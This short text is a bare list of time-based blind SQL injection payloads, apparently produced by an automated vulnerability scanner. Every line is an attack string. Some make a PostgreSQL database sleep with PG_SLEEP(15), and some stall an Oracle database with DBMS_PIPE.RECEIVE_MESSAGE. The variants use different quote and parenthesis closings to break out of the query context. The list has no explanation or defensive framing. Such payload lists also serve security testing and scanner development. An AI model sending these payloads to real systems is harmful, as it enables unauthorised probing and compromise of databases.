555-1 OR 374=(SELECT 374 FROM PG_SLEEP(15))--

555-1) OR 128=(SELECT 128 FROM PG_SLEEP(15))--

555-1)) OR 66=(SELECT 66 FROM PG_SLEEP(15))--

555JqhRvyGK' OR 456=(SELECT 456 FROM PG_SLEEP(15))--

5551QAjryLm') OR 622=(SELECT 622 FROM PG_SLEEP(15))--

555TLZWNmnz')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555